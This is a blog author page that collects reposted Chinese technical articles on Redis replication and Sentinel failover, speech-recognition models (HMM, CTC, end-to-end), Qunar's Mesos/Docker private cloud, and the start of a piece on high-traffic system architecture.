All posts by dotte

Redis 备份、容灾及高可用实战

一、Redis简单介绍

Redis是一个高性能的key-value非关系型数据库,由于其具有高性能的特性,支持高可用、持久化、多种数据结构、集群等,使其脱颖而出,成为常用的非关系型数据库。

此外,Redis的使用场景也比较多。

  1. 会话缓存(Session Cache)
    Redis缓存会话有非常好的优势,因为Redis提供持久化,在需要长时间保持会话的应用场景中,如购物车场景这样的场景中能提供很好的长会话支持,能给用户提供很好的购物体验。
  2. 全页缓存
    在WordPress中,Pantheon提供了一个不错的插件wp-redis,这个插件能以最快的速度加载你曾经浏览过的页面。
  3. 队列
    Reids提供list和set操作,这使得Redis能作为一个很好的消息队列平台来使用。我们常通过Reids的队列功能做购买限制。比如到节假日或者推广期间,进行一些活动,对用户购买行为进行限制,限制今天只能购买几次商品或者一段时间内只能购买一次。也比较适合适用。
  4. 排名
    Redis在内存中对数字进行递增或递减的操作实现得非常好。所以我们在很多排名的场景中会应用Redis来进行,比如小说网站对小说进行排名,根据排名,将排名靠前的小说推荐给用户。
  5. 发布/订阅
    Redis提供发布和订阅功能,发布和订阅的场景很多,比如我们可以基于发布和订阅的脚本触发器,实现用Redis的发布和订阅功能建立起来的聊天系统。

此外还有很多其它场景,Redis都表现的不错。

二、Redis使用中单点故障问题

正是由于Redis具备多种优良特新,且应用场景非常丰富,以至于Redis在各个公司都有它存在的身影。那么随之而来的问题和风险也就来了。Redis虽然应用场景丰富,但部分公司在实践Redis应用的时候还是相对保守使用单节点部署,那为日后的维护带来了安全风险。

在2015年的时候,曾处理过一个因为单点故障原因导致的业务中断问题。当时的Redis都未采用分布式部署,采用单实例部署,并未考虑容灾方面的问题。

当时我们通过Redis服务器做用户购买优惠商品的行为控制,但后来由于未知原因Redis节点的服务器宕机了,导致我们无法对用户购买行为进行控制,造成了用户能够在一段时间内多次购买优惠商品的行为。

这种宕机事故可以说已经对公司造成了不可挽回的损失了,安全风险问题非常严重,作为当时运维这个系统的我来说有必要对这个问题进行修复和在架构上的改进。于是我开始了解决非分布式应用下Redis单点故障方面的研究学习。

三、非分布式场景下Redis应用的备份与容灾

Redis主从复制现在应该是很普遍了。常用的主从复制架构有如下两种架构方案。

常用Redis主从复制

  • 方案一

Redis这是最常见的一种架构,一个Master节点,两个Slave节点。客户端写数据的时候是写Master节点,读的时候,是读取两个Slave,这样实现读的扩展,减轻了Master节点读负载。

  • 方案二

Maste

  • 这种架构同样是一个Master和两个Slave。不同的是Master和Slave1使用keepalived进行VIP转移。Client连接Master的时候是通过VIP进行连接的。避免了方案一IP更改的情况。

Redis主从复制优点与不足

  • 优点
  1. 实现了对master数据的备份,一旦master出现故障,slave节点可以提升为新的master,顶替旧的master继续提供服务
  2. 实现读扩展。使用主从复制架构, 一般都是为了实现读扩展。Master主要实现写功能,  Slave实现读的功能
  • 不足
    架构方案一
    当Master出现故障时,Client就与Master端断开连接,无法实现写功能,同时Slave也无法从Master进行复制。

架构

此时需要经过如下操作(假设提升Slave1为Master):

  1. 在Slave1上执slaveof no one命令提升Slave1为新的Master节点。
  2. 在Slave1上配置为可写,这是因为大多数情况下,都将slave配置只读。
  3. 告诉Client端(也就是连接Redis的程序)新的Master节点的连接地址。
  4. 配置Slave2从新的Master进行数据复制。

架构方案二
当master出现故障后,Client可以连接到Slave1上进行数据操作,但是Slave1就成了一个单点,就出现了经常要避免的单点故障(single point of failure)。

 

之后需要经过如下操作:

  1. 在Slave1上执行slaveof no one命令提升Slave1为新的Master节点
  2. 在Slave1上配置为可写,这是因为大多数情况下,都将Slave配置只读
  3. 配置Slave2从新的Master进行数据复制

可以发现,无论是哪种架构方案都需要人工干预来进行故障转移(failover)。需要人工干预就增加了运维工作量,同时也对业务造成了巨大影响。这时候可以使用Redis的高可用方案-Sentinel

四、Redis Sentinel介绍

Redis Sentinel为Redis提供了高可用方案。从实践方面来说,使用Redis Sentinel可以创建一个无需人为干预就可以预防某些故障的Redis环境。
Redis Sentinel设计为分布式的架构,运行多个Sentinel进程来共同合作的。运行多个Sentinel进程合作,当多个Sentinel同一给定的master无法再继续提供服务,就会执行故障检测,这会降低误报的可能性。

五、Redis Sentinel功能

Redis Sentinel在Redis高可用方案中主要作用有如下功能:

  • 监控
    Sentinel会不断的检查master和slave是否像预期那样正常运行
  • 通知
    通过API,Sentinel能够通知系统管理员、程序监控的Redis实例出现了故障
  • 自动故障转移
    如果master不像预想中那样正常运行,Sentinel可以启动故障转移过程,其中的一个slave会提成为master,其它slave会重新配置来使用新的master,使用Redis服务的应用程序,当连接时,也会被通知使用新的地址。
  • 配置提供者
    Sentinel可以做为客户端服务发现的认证源:客户端连接Sentinel来获取目前负责给定服务的Redis master地址。如果发生故障转移,Sentinel会报告新的地址。

六、Redis Sentinel架构

Redis

七、Redis Sentinel实现原理

Sentinel集群对自身和Redis主从复制进行监控。当发现Master节点出现故障时,会经过如下步骤:

  • 1)Sentinel之间进行选举,选举出一个leader,由选举出的leader进行failover
  • 2)Sentinel leader选取slave节点中的一个slave作为新的Master节点。对slave选举需要对slave进行选举的方法如下:a) 与master断开时间
    如果与master断开的时间超过down-after-milliseconds(sentinel配置) * 10秒加上从sentinel判定master不可用到sentinel开始执行故障转移之间的时间,就认为该slave不适合提升为master。b) slave优先级
    每个slave都有优先级,保存在redis.conf配置文件里。如果优先级相同,则继续进行。c) 复制偏移位置
    复制偏移纪录着从master复制数据复制到哪里,复制偏移越大表明从master接受的数据越多,如果复制偏移量也一样,继续进行选举

    d) Run ID
    选举具有最小Run ID的Slave作为新的Master
    流程图如下:

  • 3)  Sentinel leader会在上一步选举的新master上执行slaveof no one操作,将其提升为master节点
  • 4)Sentinel leader向其它slave发送命令,让剩余的slave成为新的master节点的slave
  • 5)Sentinel leader会让原来的master降级为slave,当恢复正常工作,Sentinel leader会发送命令让其从新的master进行复制
    以上failover操作均有sentinel自己独自完成,完全无需人工干预。

总结

使用sentinel实现了Redis的高可用,当master出现故障时,完全无需人工干预即可实现故障转移。避免了对业务的影响,提高了运维工作效率。
在部署sentinel的时候,建议使用奇数个sentinel节点,最少三个sentinel节点。

写在最后

由于sentinel知识点比较多,这里仅给大家进行介绍,让大家有个了解,想了解更多可与我联系。谢谢。

from:http://www.yunweipai.com/archives/22663.html

NLP入门之语音模型原理

作者:云时之间

这一篇文章其实是参考了很多篇文章之后写出的一篇对于语言模型的一篇科普文,目的是希望大家可以对于语言模型有着更好地理解,从而在接下来的NLP学习中可以更顺利的学习.

1:传统的语音识别方法:

这里我们讲解一下是如何将声音变成文字,如果有兴趣的同学,我们可以深入的研究.

首先我们知道声音其实是一种波,常见的MP3等都是压缩的格式,必须要转化成非压缩的纯波形的文件来处理,下面以WAV的波形文件来示例:

大数据
在进行语音识别之前,有的需要把首尾段的静音进行切除,进行强制对齐,以此来降低对于后续步骤的干扰,整个静音的切除技术一般称为VAD,需要用到对于信号处理的一些技术.

如果要对于声音进行分析,就需要对于声音进行分帧,也就是把声音切成一小块一小块,每一小块称为一帧,分帧并不是简单地切开,而是使用的移动窗函数来实现的,并且帧和帧之间一般是有交叠的

大数据
就像上图这样

分帧之后,语音就变成了很多个小段,但是波形在时域上是没有什么描述能力的,因此就必须要将波形进行变换,常见的一种变换方法就是提取MFCC特征,然后根据人耳的生理特性,把每一帧波变成一个多维度向量,这个向量里是包含了这块语音的内容信息,这个过程叫做声学特征的提取,但是实际方法有很多,基本类似.

至此,声音就成了一个12行(假设声学特征是12维)、N列的一个矩阵,称之为观察序列,这里N为总帧数。观察序列如下图所示,图中,每一帧都用一个12维的向量表示,色块的颜色深浅表示向量值的大小。

大数据
接下来就要介绍怎样把这个矩阵变成文本了。首先要介绍两个概念:

1:音素:

单词的发音由音素构成。对英语,一种常用的音素集是卡内基梅隆大学的一套由39个音素构成的音素集,参见The CMU Pronouncing Dictionary‎。汉语一般直接用全部声母和韵母作为音素集,另外汉语识别还分有调无调,不详述。

1. 状态:这里理解成比音素更细致的语音单位就行啦。通常把一个音素划分成3个状态。

语音识别是怎么工作的呢?实际上一点都不神秘,无非是:

把帧识别成状态(难点)。

把状态组合成音素。

把音素组合成单词。

如下图所示:

大数据
图中,每个小竖条代表一帧,若干帧语音对应一个状态,每三个状态组合成一个音素,若干个音素组合成一个单词。也就是说,只要知道每帧语音对应哪个状态了,语音识别的结果也就出来了。

那每帧音素对应哪个状态呢?有个容易想到的办法,看某帧对应哪个状态的概率最大,那这帧就属于哪个状态。比如下面的示意图,这帧在状态S3上的条件概率最大,因此就猜这帧属于状态S3。

大数据
那这些用到的概率从哪里读取呢?有个叫“声学模型”的东西,里面存了一大堆参数,通过这些参数,就可以知道帧和状态对应的概率。获取这一大堆参数的方法叫做“训练”,需要使用巨大数量的语音数据,训练的方法比较繁琐,这里不讲。

但这样做有一个问题:每一帧都会得到一个状态号,最后整个语音就会得到一堆乱七八糟的状态号。假设语音有1000帧,每帧对应1个状态,每3个状态组合成一个音素,那么大概会组合成300个音素,但这段语音其实根本没有这么多音素。如果真这么做,得到的状态号可能根本无法组合成音素。实际上,相邻帧的状态应该大多数都是相同的才合理,因为每帧很短。

解决这个问题的常用方法就是使用隐马尔可夫模型(Hidden Markov Model,HMM)。这东西听起来好像很高深的样子,实际上用起来很简单: 第一步,构建一个状态网络。 第二步,从状态网络中寻找与声音最匹配的路径。

这样就把结果限制在预先设定的网络中,避免了刚才说到的问题,当然也带来一个局限,比如你设定的网络里只包含了“今天晴天”和“今天下雨”两个句子的状态路径,那么不管说些什么,识别出的结果必然是这两个句子中的一句。

那如果想识别任意文本呢?把这个网络搭得足够大,包含任意文本的路径就可以了。但这个网络越大,想要达到比较好的识别准确率就越难。所以要根据实际任务的需求,合理选择网络大小和结构。

搭建状态网络,是由单词级网络展开成音素网络,再展开成状态网络。语音识别过程其实就是在状态网络中搜索一条最佳路径,语音对应这条路径的概率最大,这称之为“解码”。路径搜索的算法是一种动态规划剪枝的算法,称之为Viterbi算法,用于寻找全局最优路径。

大数据
这里所说的累积概率,由三部分构成,分别是:

  1. 观察概率:每帧和每个状态对应的概率
  2. 转移概率:每个状态转移到自身或转移到下个状态的概率
  3. 语言概率:根据语言统计规律得到的概率

其中,前两种概率从声学模型中获取,最后一种概率从语言模型中获取。语言模型是使用大量的文本训练出来的,可以利用某门语言本身的统计规律来帮助提升识别正确率。语言模型很重要,如果不使用语言模型,当状态网络较大时,识别出的结果基本是一团乱麻。

这样基本上语音识别过程就完成了。

2:端到端的模型

现阶段深度学习在模式识别领域取得了飞速的发展,特别是在语音和图像的领域,因为深度学习的特性,在语音识别领域中,基于深度学习的声学模型现如今已经取代了传统的混合高斯模型GMM对于状态的输出进行建模,因此在普通的深度神经网络的基础之上,基于长短记忆网络的递归神经网络对语音序列的强大的建模能力进一步提高了语音识别的性能,但是这些方法依旧包含着最基础的隐马尔可夫HMM的基本结构,因此依旧会出现隐马尔科夫模型的训练和解码的复杂度问题.

基于深度学习的声学模型训练过程必须是由传统的混合高斯模型开始的,然后对训练数据集合进行强制的对齐,然后进行切分得到不同的声学特征,其实传统的方式并不利于对于整句话的全局优化,并且这个方法也需要额外的语音学和语言学的知识,比如发音词典,决策树单元绑定建模等等,搭建系统的门槛较高等问题.

一些科学家针对传统的声学建模的缺点,提出了链接时序分类技术,这个技术是将语音识别转换为序列的转换问题,这样一来就可以抛弃了传统的基于HMM的语音识别系统的一系列假设,简化了系统的搭建流程,从而可以进一步提出了端到端的语音识别系统,减少了语音对于发音词典的要求.

端到端的系统是由LSTM的声学建模方法和CTC的目标函数组成的,在CTC的准则下,LSTM可以在训练过程中自动的学习声学的特征和标注序列的对应关系,也就不需要再进行强制的对数据集合进行对齐的过程了.并且可以根据各种语种的特点,端到端识别直接在字或者单词上进行建模,但是因为端到端的识别可能是意味着发展的趋势,但是因为完全崛弃了语音学的知识,现如今在识别性能上仍然和传统的基于深度学习的建模方法有着一定的差距,不过我最近在看的一篇论文中,基于端到端的藏语识别已经达到甚至超过了现有的通用算法.

就拿藏语举例,藏语是一种我国的少数民族语言,但是因为藏族人口较少,相比起对于英文,汉语这样的大语种来说,存在着语音数据收集困难的问题,在上一篇文章中我们可以知道,自然语言处理的最重要的需求就是语料,如果有很好的语料库自然会事半功倍,这样就导致了藏语的语音识别研究工作起步较晚,并且因为藏语的语言学知识的匮乏进一步阻碍了藏语语音识别的研究的进展,在我国,藏语是属于一种单音节字的语言,在端到端的语音过程中,藏语是建模起来非常简单的一种语言,但是作为一种少数民族语言,语料不足会在训练过程中出现严重的稀疏性问题,并且很多人在研究现有的藏语词典中发现,如果完全崛弃现有的藏语发音词典,完全不利用这样的先验知识,这样其实也是不利于技术的发现的,因此现阶段下,采用CTC和语言知识结合的方式来建模,可以解决在资源受限的情况下声学的建模问题,使得基于端到端的声学模型方法的识别率超过当下基于隐马尔科夫的双向长短时记忆模型.

在基于CD-DNN-HMM架构的语音识别声学模型中,训练DNN通常需要帧对齐标签。在GMM中,这个对齐操作是通过EM算法不断迭代完成的,而训练DNN时需要用GMM进行对齐则显得非常别扭。因此一种不需要事先进行帧对齐的方法呼之欲出。此外对于HMM假设一直受到诟病,等到RNN出现之后,使用RNN来对时序关系进行描述来取代HMM成为当时的热潮。随着神经网络优化技术的发展和GPU计算能力的不断提升,最终使用RNN和CTC来进行建模实现了end-to-end语音识别的声学模型。CTC的全称是Connectionist Temporal Classification,中文翻译大概是连接时序分类。它要达到的目标就是直接将语音和相应的文字对应起来,实现时序问题的分类。

这里仍然可以描述为EM的思想:

E-step:使用BPTT算法优化神经网络参数;

M-step:使用神经网络的输出,重新寻找最有的对齐关系。

CTC可以看成是一个分类方法,甚至可以看作是目标函数。在构建end-to-end声学模型的过程中,CTC起到了很好的自动对齐的效果。同传统的基于CD-DNN-HMM的方法相比,对齐效果引用文章[Alex Graves,2006]中的图是这样的效果:

大数据
这幅图可以理解:基于帧对齐的方法强制要求切分好的帧对齐到对应的标签上去,而CTC则可以时帧的输出为空,只有少数帧对齐到对应的输出标签上。这样带来的差别就是帧对齐的方法即使输出是正确的,但是在边界区域的切分也很难准确,从而给DNN的训练引入错误。c) End-to-end模型由于神经网络强大的建模能力,End-to-end的输出标签也不再需要像传统架构一样的进行细分。例如对于中文,输出不再需要进行细分为状态、音素或者声韵母,直接将汉字作为输出即可;对于英文,考虑到英文单词的数量庞大,可以使用字母作为输出标签。从这一点出发,我们可以认为神经网络将声学符号到字符串的映射关系也一并建模学习了出来,这部分是在传统的框架中时词典所应承担的任务。针对这个模块,传统框架中有一个专门的建模单元叫做G2P(grapheme-to-phoneme),来处理集外词(out of vocabulary,OOV)。在end-to-end的声学模型中,可以没有词典,没有OOV,也没有G2P。这些全都被建模在一个神经网络中。另外,在传统的框架结构中,语音需要分帧,加窗,提取特征,包括MFCC、PLP等等。在基于神经网络的声学模型中,通常使用更裸的Fbank特征。在End-to-en的识别中,使用更简单的特征比如FFT点,也是常见的做法。或许在不久的将来,语音的采样点也可以作为输入,这就是更加彻底的End-to-end声学模型。除此之外,End-to-end的声学模型中已经带有了语言模型的信息,它是通过RNN在输出序列上学习得到的。但这个语言模型仍然比较弱,如果外加一个更大数据量的语言模型,解码的效果会更好。因此,End-to-end现在指声学模型部分,等到不需要语言模型的时候,才是完全的end-to-end。3、 语言模型(Language Model, LM)语言模型的作用可以简单理解为消解多音字的问题,在声学模型给出发音序列之后,从候选的文字序列中找出概率最大的字符串序列。

4、 解码传统的语音识别解码都是建立在WFST的基础之上,它是将HMM、词典以及语言模型编译成一个网络。解码就是在这个WFST构造的动态网络空间中,找到最优的输出字符序列。搜索通常使用Viterbi算法,另外为了防止搜索空间爆炸,通常会采用剪枝算法,因此搜索得到的结果可能不是最优结果。在end-to-end的语音识别系统中,最简单的解码方法是beam search。尽管end-to-end的声学模型中已经包含了一个弱语言模型,但是利用额外的语言模型仍然能够提高识别性能,因此将传统的基于WFST的解码方式和Viterbi算法引入到end-to-end的语音识别系统中也是非常自然的。然而由于声学模型中弱语言模型的存在,解码可能不是最优的。文章[yuki Kanda, 2016]提出在解码的时候,需要将这个若语言模型减掉才能得到最优结果。

End.

转载请注明来自36大数据(36dsj.com):36大数据 » NLP入门之语音模型原理

去哪儿网基于Mesos和Docker构建私有云服务的实践

作者:徐磊

【导读】本文深入介绍了去哪儿网利用Mesos和Docker构建私有云服务的全过程,分享了从无状态应用向有状态应用逐步过度的经验与心得。

平台概览

2014年下半年左右,去哪儿完成了有关构建私有云服务的技术调研,并最终拍定了Docker/Mesos这一方案。下图1展示了去哪儿数据平台的整体架构:

大数据

图1:去哪儿数据平台的整体架构

该平台目前已实现了如下多项功能:

  • 每天处理约340亿/25TB的数据;
  • 90%的数据在100ms内完成处理;
  • 最长3h/24h的数据回放;
  • 私有的Elasticsearch Cloud;
  • 自动化监控与报警。

为什么选择Docker/Mesos

目前为止,这个数据平台可以说是公司整个流数据的主要出入口,包括私有的Elasticsearch Cloud和监控报警之类的数据。那么为什么选择Docker/Mesos?

选择Docker有两大原因。第一个是打包:对于运维来讲,业务打完包之后,每天面对的是用脚本分发到机器上时所出现的各种问题。业务包是一个比较上层的话题,这里不做深入的讨论,这里讲的“打包”指软件的Runtime层。如果用Docker的打包机制,把最容易出现问题的Runtime包装成镜像并放在registry里,需要的时候拿出来,那么整个平台最多只执行一个远程脚本就可以了,这是团队最看好的一个特性。第二个是运维:Docker取消了依赖限制,只要构建一个虚拟环境或一个Runtime的镜像,就可以直接拉取到服务器上并启动相应的程序。此外Docker在清理上也较为简单,不需要考虑环境卸载不干净等问题。

以常见的计算框架来说,它们本质上仍然属于运行在其上的Job的Runtime。综合上述情况,团队选择针对Runtime去打包。

选择Mesos是因为它足够简单和稳定,而且拥有较成熟的调度框架。Mesos的简单体现在,与Kubernetes相比其所有功能都处于劣势,甚至会发现它本身都是不支持服务的,用户需要进行二次开发来满足实际要求,包括网络层。不过,这也恰好是它的强项。Mesos本身提供了很多SDN接口,或者是有模块加载机制,可以做自定义修改,平台定制功能比较强。所以用Mesos的方案,需要考虑团队是否可以Hold住整个开发过程。

从框架层面来看,Marathon可以支撑一部分长期运行的服务,Chronos则侧重于定时任务/批处理。

以下图2是Mesos的一个简单结构图:

大数据

图2:Mesos结构

数据平台的最终目标架构如下图3所示:

大数据

图3:平台目标

组件容器化与部署

组件的容器化分为JVM容器化和Mesos容器化。JVM容器化需要注意以下几方面:

潜在创建文件的配置都要注意

  • java.io.tmpdir
  • -XX:HeapDumpPath
  • -Xloggc

-Xloggc会记录GC的信息到制定的文件中。现在很少有直接用XLoggc配置的了(已经用MXBean方式替代了)。如果有比较老的程序是通过-Xloggc打印GC日志的话,那么要额外挂载volume到容器内。

时区与编码

  • –env TZ=Asia/Shanghai
  • –volume /etc/localtime:/etc/localtime:ro
  • –env JAVA_TOOL_OPTIONS=”-Dfile.encoding=UTF-8 -Duser.timezone=PRC

时区是另一个注意点。上面所列的三种不同的方法都可以达到目的,其中第一/三个可以写在Dockerfile里,也可以在docker run时通过–env传入。第二种只在docker run时通过volume方式挂载。另外,第三种额外设置了字符集编码,推荐使用此方式。

主动设置heap

  • 防止ergonomics乱算内存

这是Docker内部实现的问题。即使给Docker设置内存,容器内通过free命令看到的内存和宿主机的内存是一样的。而JVM为了使用方便,会默认设置一个人机功能会根据当前机器的内存计算一个堆大小,如果我们不主动设置JVM堆内存的话,很有可能计算出一个超过 Memory Cgroup限制的内存,启动就宕掉,所以需要注意在启动时就把内存设置好。

CMS收集器要调整并行度

  • -XX:ParallelGCThreads=cpus
  • -XX:ConcGCThreads=cpus/2

CMS是常见的收集器,它设置并行度的时候是取机器的核数来计算的。如果给容器分配2个CPU,JVM仍然按照宿主机的核数初始化这些线程数量,GC的回收效率会降低。想规避这个问题有两点,第一点是挂载假的Proc文件系统,比如Lxcfs。第二种是使用类似Hyper的基于Hypervisor的容器。

Mesos容器化要求关注两类参数:配置参数和run参数。

  • 需要关注的配置参数
    • MESOS_systemd_enable_support
    • MESOS_docker_mesos_image
    • MESOS_docker_socket
    • GLOG_max_log_size
    • GLOG_stop_logging_if_full_disk

Mesos是配置参数最多的。在物理机上,Mesos默认使用系统的Systemd管理任务,如果把Mesos通过Docker run的方式启动起来,用户就要关systemd_Enable_support,防止Mesos Slave拉取容器运行时数据造成混乱。

第二个是Docker_Mesos_Image,这个配置告诉Mesos Slave,当前是运行在容器内的。在物理机环境下,Mesos Slave进程宕掉重启,、就会根据executor进程/容器的名字做recovery动作。但是在容器内,宕机后executor全部回收了,重启容器,Slave认为是一个新环境,跳过覆盖动作并自动下发任务,所以任务有可能会发重。

Docker_Socket会告诉Mesos,Docker指定的远端地址或本地文件,是默认挂到Mesos容器里的。用户如果直接执行文件,会导致文件错误,消息调取失败。这个时候推荐一个简单的办法:把当前物理机的目录挂到容器中并单独命名,相当于在容器内直接访问整个物理机的路径,再重新指定它的地址,这样每次一有变动Mesos就能够发现,做自己的指令。

后面两个是Mesos Logging配置,调整生成logging文件的一些行为。

  • 需要关注的run参数
    • –pid=host
    • –privileged
    • –net=host (optional)
    • root user

启动Slave容器的时候最好不加Pid Namespace,因为容器内Pid=1的进程一般都是你的应用程序,易导致子进程都无法回收,或者采用tini一类的进程启动应用达到相同的目的。–privileged和root user主要是针对Mesos的持久化卷功能,否则无法mount到容器内,–net=host是出于网络效率的考虑,毕竟源生的bridge模式效率比较低。

大数据

图4:去哪儿数据平台部署流程图

上图4就是去哪儿数据平台部署的流程图。

基于Marathon的Streaming调度

拿Spark on Mesos记录子,即使是基于Spark的Marathon调度,也需要用户开发一个Frameworks。上生产需要很多代码,团队之前代码加到将近一千,用来专门解决Spark运行在Master中的问题,但是其中一个软件经常跑到Master,对每一个框架写重复性代码,而且内部逻辑很难复用,所以团队考虑把上层的东西全都跑在一个统一框架里,例如后面的运维和扩容,都针对这一个框架做就可以了。团队最终选择了Marathon,把Spark作为Marathon的一个任务发下去,让Spark在Marathon里做分发。

除去提供维标准化和自动化外,基于Spark的Marathon还可以解决Mesos-Dispatcher的一些问题:

  • 配置不能正确同步;这一块更新频率特别慢,默认速度也很慢,所以需要自己来维护一个版本。第一个配置不能正确同步,需要设置一些参数信息、Spark内核核数及内损之类,这里它只会选择性地抽取部分配置发下去。
  • 基于attributes的过滤功能缺失;对于现在的环境,所设置的Attributes过滤功能明显缺失,不管机器是否专用或有没有特殊配置,上来就发,很容易占满ES的机器。
  • 按role/principal接入Mesos;针对不同的业务线做资源配比时,无法对应不同的角色去接入Mesos。
  • 不能re-registery;框架本身不能重注册,如果框架跑到一半挂掉了,重启之后之前的任务就直接忽略不管,需要手工Kill掉这个框架。
  • 不能动态扩容executor。最后是不能扩容、动态调整,临时改动的话只能重发任务。

整个过程比较简单,如下图5所示:

大数据

图5:替代Spark Mesos Dispatcher

不过还是有一些问题存在:

Checkpoint & Block

  • 动态预留 & 持久化卷
  • setJars
  • 清理无效的卷

关于Checkpoint&Block,通过动态预留的功能可以把这个任务直接“钉死”在这台机器上,如果它挂的话可以直接在原机器上重启,并挂载volume继续工作。如果不用它预留的话,可能调度到其他机器上,找不到数据Block,造成数据的丢失或者重复处理。

持久化卷是Mesos提供的功能,需要考虑它的数据永存,Mesos提供了一种方案:把本地磁盘升级成一个目录,把这个转移到Docker里。每次写数据到本地时,能直接通过持久化卷来维护,免去手工维护的成本。但它目前有一个问题,如果任务已被回收,它持久化卷的数据是不会自己删掉的,需要写一个脚本定时轮巡并对应删掉。

临时文件

  • java.io.tmpdir=/mnt/mesos/sandbox
  • spark.local.dir=/mnt/mesos/sandbox

如果使用持久化卷,需要修改这两个配置,把这一些临时文件写进去,比如shuffle文件等。如果配置持久化卷的话,用户也可以写持久化卷的路径。

Coarse-Grained

Spark有两种资源调度模式:细粒度和粗粒度。目前已经不太推荐细粒度了,考虑到细粒度会尽可能的把所有资源占满,容易导致Mesos资源被耗尽,所以这个时候更倾向选择粗粒度模式。

大数据

图6:Storm on Marathon

上图6展示了基于Storm的Marathon调度,Flink也是如此。结合线上的运维和debug,需要注意以下几方面:

源生Web Console

  • 随机端口
  • OpenResty配合泛域名
  • 默认源生Web Console,前端配置转发,直接访问固定域名。

Filebeat + Kafka + ELK

  • 多版本追溯
  • 日常排错
  • 异常监控

大部分WebUI上看到的都是目前内部的数据处理情况,可以通过ELK查询信息。如果任务曾经运行在不同版本的Spark上,可以把多版本的日志都追踪起来,包括日常、问题监控等,直接拿来使用。

Metrics

第三个需要注意的就是指标。比如Spark ,需要配合Metrics把数据源打出来就行。

ELK on Mesos

目前平台已有近50个集群,约100TB+业务数据量,高峰期1.2k QPS以及约110个节点,Elasticsearch需求逐步增多。

大数据

图7:ELK on Mesos

上图7是ELK on Mesos结构图,也是团队的无奈之选。因为Mesos还暂时不支持multi-role framework功能,所以选择了这种折中的方式来做。在一个Marathon里,根据业务线设置好Quota后,用业务线重新发一个新的Marathon接入进去。对于多租户来讲,可以利用Kubernetes做后续的资源管控和资源申请。

部署ES以后,有一个关于服务发现的问题,可以去注册一个callback,Marathon会返回信息,解析出master/slave进程所在的机器和端口,配合修改Haproxy做一层转发,相当于把后端整个TCP的连接都做一个通路。ES跟Spark不完全相同,Spark传输本身流量就比较大,而ES启动时需要主动联系Master地址,再通过Master获取相应集群,后面再做P2P,流量比较低,也不是一个长链接。

监控与运维

这部分包括了Streaming监控指标与报警、容器监控指标与报警两方面。

Streaming监控指标与报警

Streaming监控含拓扑监控和业务监控两部分。

  • Streaming拓扑监控
  • 业务监控
    • Kafka Topic Lag
    • 处理延迟mean90/upper90
    • Spark scheduler delay/process delay
    • Search Count/Message Count
    • Reject/Exception
    • JVM

拓扑监控包括数据源和整个拓扑流程,需要用户自己去整理和构建,更新的时候就能够知道这个东西依赖谁、是否依赖线上服务,如果中途停的话会造成机器故障。业务监控的话,第一个就是Topic Lag,Topic Lag每一个波动都是不一样的,用这种方式监控会频繁报警,90%的中位数都是落在80—100毫秒范围内,就可以监控到整个范围。

容器监控指标与报警

容器监控上关注以下三方面:

  • Google cAdvisor足够有效
    • mount rootfs可能导致容器删除失败 #771
    • –docker_only
    • –docker_env_metadata_whitelist
  • Statsd + Watcher
    • 基于Graphite的千万级指标监控平台
  • Nagios

容器这一块比较简单,利用Docker并配合Mesos,再把Marathon的ID抓取出来就可以了。我们这边在实践的过程发现一个问题,因为Statsd Watcher容易出现问题,你直接用Docker的时候它会报一些错误出来,这个问题就是Statsd Watcher把路径给挂了的原因。目前我们平台就曾遇到过一次,社区里面也有人曝,不过复现率比较低。用的时候如果发现这个问题把Statsd Watcher直接停掉就好。指标的话,每台机器上放一个statsd再发一个后台的Worker,报警平台也是这个。

其实针对Docker监控的话,还是存在着一些问题:

  • 基础监控压力
    • 数据膨胀
    • 垃圾指标增多
    • 大量的通配符导致数据库压力较高
  • 单个任务的容器生命周期
    • 发布
    • 扩容
    • 异常退出

首先主要是监控系统压力比较大。原来监控虚拟机时都是针对每一个虚拟机的,只要虚拟机不删的话是长期汇报,指标名固定,但在容器中这个东西一直在变,它在这套体系下用指标并在本地之外建一个目录存文件,所以在这种存储机制下去存容器的指标不合适。主要问题是数据膨胀比较厉害,可能一个容器会起名,起名多次之后,在Graphite那边对应了有十多个指标,像这种都是预生成的监控文件。比如说定义每一秒钟一个数据点,要保存一年,这个时候它就会根据每年有多少秒生成一个RRD文件放那儿。这部分指标如果按照现有标准的话,可能容器的生命周期仅有几天时间,不适用这种机制。测试相同的指标量,公司存储的方式相对来说比Graphite好一点。因为Graphite是基于文件系统来做的,第一个优化指标名,目录要转存到数据库里做一些索引加速和查询,但是因为容器这边相对通配符比较多,不能直接得知具体对应的ID,只能通配符查询做聚合。因为长期的通配符在字符串的索引上还是易于使用的,所以现在算是折中的做法,把一些常用的查询结果、目录放到里边。

另一个是容器的生命周期。可以做一些审计或者变更的版本,在Mesos层面基于Marathon去监控,发现这些状态后打上标记:当前是哪一个容器或者哪一个TASK出了问题,对应扩容和记录下来。还有Docker自己的问题,这样后面做整个记录时会有一份相对比较完整的TASK-ID。

End.

转载请注明来自36大数据(36dsj.com):36大数据 » 去哪儿网基于Mesos和Docker构建私有云服务的实践

如何打造一个日均PV千万级别的大型系统?

作者介绍

周金桥,具有丰富的系统规划、设计、开发、运维及团队组织管理工作经验,熟悉.Net、J2EE技术架构及应用。微软2008-2012五届最有价值专家(MVP),2009年单独著有《ASP.NET夜话》一书,2010年与人合著《程序员的成长之路》。至今活跃在多个技术社区。

本文我选定的方向是如何开发一个大型系统,在这里我对大型系统的定义为日均PV在千万级以上,而京东和淘宝这类则属于巨型系统了。因此在本篇中讲述的都是基于一些开源免费的技术实现,至于通过F5硬件加速、DNS来实现负载均衡、CDN加速等需要花钱购买的技术或者服务则不再本篇介绍范围之类。

一、从两个系统说起

1、某移动互联网公司服务器端架构图

架构

上图是某移动互联网公司的服务器端架构图,它支撑了国内外数百万客户端的访问请求,有如下特点:

  1. 多层级集群,从Web服务器层、NoSQL层级数据库层都实现了集群,这样使得每一层的响应时间大大缩短,从而能够在单位时间内响应更多请求;
  2. NoSQL应用(Memcached),在NoSQL领域Memcached和Redis都有大量的用户群,在这个架构里使用的是Memcached。
  3. 数据库读写分离,当前大多数数据库服务器支持主从机制或订阅发布机制,这样一来就为读写分离创造了条件,减少了数据库竞争死锁出发条件,使响应时间大为缩短(非数据库集群情况下还可以考虑分库机制)。
  4. 负载均衡,Nginx实现Web服务器的负载均衡,Memcached自带负载均衡实现。

2、某公司生产管理系统架构图

系统架构

